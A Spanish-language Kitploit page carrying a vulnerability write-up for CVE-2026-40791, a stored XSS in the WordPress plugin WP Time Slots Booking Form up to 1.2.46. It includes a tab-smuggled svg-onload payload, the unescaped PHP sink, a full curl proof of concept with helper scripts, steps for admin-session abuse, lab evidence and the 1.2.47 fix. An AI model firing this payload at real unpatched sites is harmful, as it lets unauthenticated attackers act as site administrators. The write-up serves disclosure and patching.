Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS — CVE-2026-40791: XSS almacenado no autenticado en WP Time Slots Booking Form <= 1.2.46 | Kitploit
Herramientas/GitHubGitHub/rat5ak/cve-2026-40791-wp-time-slots-booking-form-xss
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubrat5ak/cve-2026-40791-wp-time-slots-booking-form-xss

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: XSS almacenado no autenticado en WP Time Slots Booking Form <= 1.2.46

Ver Repositorio
4hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40791: Una ranura de reserva a XSS de administrador

Encontré un XSS almacenado no autenticado en el plugin de WordPress WP Time Slots Booking Form. Una presentación de reserva pública controla parte del valor de la ranura de tiempo almacenada. El plugin luego imprime ese valor en la página de Órdenes de Reserva del administrador sin escaparlo.

El truco es simple: el plugin divide la cadena de la cita enviada en espacios literales, pero HTML trata un tabulador como espacio en blanco entre un nombre de etiqueta y un atributo. Así que 8:<svg[TAB]onload=...> sobrevive al analizador del plugin como el valor de la ranura, y luego se convierte en marcado real cuando el administrador abre la lista de reservas.

CVECVE-2026-40791
PluginWP Time Slots Booking Form
Slugwp-time-slots-booking-form
Afectado<= 1.2.46
Corregido1.2.47
Clase de errorXSS almacenado no autenticado (CWE-79)
ImpactoReserva pública -> JavaScript en sesión wp-admin del administrador
CVSS7.2 Alto (Wordfence), 7.1 (Patchstack)
CréditoDaniel Wade

TL;DR

El formulario de reserva pública acepta este campo:

fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0

El plugin lo analiza así:

$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],

Debido a que el separador es un tabulador, no un espacio literal, item_split[1] se convierte en:

8:<svg onload=alert(document.cookie)>

Ese valor de ranura se serializa en la reserva. Cuando un administrador abre Órdenes de Reserva, la versión 1.2.46 lo imprime aquí:

'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

Sin escapado. El onload del SVG se ejecuta en la página de administración.

Esto no es solo "¿puedo leer la cookie de administración?" Las cookies de autenticación modernas de WordPress normalmente son HttpOnly, por lo que document.cookie puede no exponer la cookie real wordpress_sec_*. Lo importante es que el script se ejecuta en una página autenticada de origen de administrador. Puede obtener páginas de administración del mismo origen, leer nonces expuestos y enviar solicitudes de administración autenticadas desde el navegador de la víctima.

El error

El flujo vulnerable:

POST no autenticado
    -> fieldname1_1
    -> extract_appointments()
    -> explode(' ', $input)[1]
    -> $apps[]['slot']
    -> serialize()
    -> wp_cptslotsbk_messages.posted_data
    -> unserialize()
    -> Etiqueta de reserva en Órdenes de Reserva
    -> Salida HTML sin escapar

El analizador asume que la ranura de tiempo es solo texto. No lo es. Es entrada del atacante que luego termina en un contexto HTML.

El sumidero vulnerable está en cp-admin-int-message-list.inc.php:

$appts .= '<div class="ahb-appointment-badge">' .
          '<span class="dashicons dashicons-clock"></span>' .
          '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
          ...

echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

Ese phpcs:ignore WordPress.Security.EscapeOutput es toda la historia en una línea. La advertencia de escapado fue suprimida donde se imprimían datos de reserva controlados por el atacante.

Cómo provocarlo

La forma del payload:

8:<svg[TAB]onload=alert(document.cookie)>

Por qué funciona:

PHP explode(' ', ...)
    "8:<svg<TAB>onload=...>" permanece como un token

Analizador HTML del navegador
    <svg<TAB>onload=...> se convierte en <svg onload=...>

El analizador de ranuras obtiene el valor que espera. El navegador obtiene la etiqueta que sabe cómo ejecutar.

PoC

PowerShell:

.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2

Bash:

./poc/reproduce.sh "http://127.0.0.1" 2

curl manual:

TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"

curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "cp_tslotsbooking_pform_process=1" \
  --data-urlencode "cp_pform_psequence=_1" \
  --data-urlencode "cp_tslotsbooking_id=1" \
  --data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
  --data-urlencode "fieldname2_1=John Doe" \
  --data-urlencode "[email protected]" \
  --data-urlencode "fieldname4_1=1234567890" \
  --data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "form_structure_1=" \
  --data-urlencode "refpage_1=" \
  --data-urlencode "cp_tslotsbooking_pform_status="

Resultado esperado:

HTTP/1.1 302 Found

Luego inicie sesión como administrador y abra:

WP Time Slots Booking Form -> Booking Orders

El payload se ejecuta cuando se renderiza la fila de reserva almacenada.

Evidencia

Validé la cadena completa en un laboratorio local de WordPress desechable:

PHP 8.3.31 para Windows
MariaDB 11.4.12 en 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA deshabilitado en el formulario 1
Página pública con [CP_TIME_SLOTS_BOOKING id="1"]

El PoC de PowerShell se envió limpiamente:

HTTP status: 302

El payload aterrizó en wp_cptslotsbk_messages.posted_data:

slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"

Luego, Chrome sin cabeza inició sesión como administrador, abrió Órdenes de Reserva y vio el marcador establecido por el manejador SVG almacenado:

ADMIN_XSS_EXECUTED

También probé las mismas filas maliciosas almacenadas después de reemplazar el plugin con la versión 1.2.47. La página de administración renderizó el payload como texto escapado:

04/15/2026 8:&lt;svg onload=...&gt;

No se activó ningún marcador:

PATCHED_NO_XSS_EXECUTION

También hay una pequeña comprobación de cordura de renderizado local:

powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1

Verifica las dos partes mecánicas sin una instalación completa de WordPress:

Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.

Impacto

El atacante no necesita una cuenta. El atacante envía una reserva pública y espera a que un administrador vea Órdenes de Reserva.

Una vez que el administrador ve esa página, el JavaScript del atacante se ejecuta dentro del origen de WordPress del administrador. Un atacante real generalmente no se detendría en alert(document.cookie). Usaría el navegador del administrador como administrador:

obtener páginas de administración
    -> leer nonces del HTML
    -> enviar POST de administración autenticados
    -> cambiar el estado del sitio

Dependiendo de las capacidades del administrador y la configuración del sitio, esto puede significar crear usuarios, cambiar la configuración del plugin, modificar destinos de notificaciones, leer datos de reservas/clientes o escalar hacia la toma total del sitio a través de funcionalidades del plugin/tema.

La corrección

La versión 1.2.47 escapa la ranura almacenada antes de construir la etiqueta de administración:

- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'

Eso corrige el sumidero. Sancionar antes también sería razonable, pero el límite de seguridad es el contexto de salida HTML en la página de administración.

Estructura del repositorio

Descargar herramienta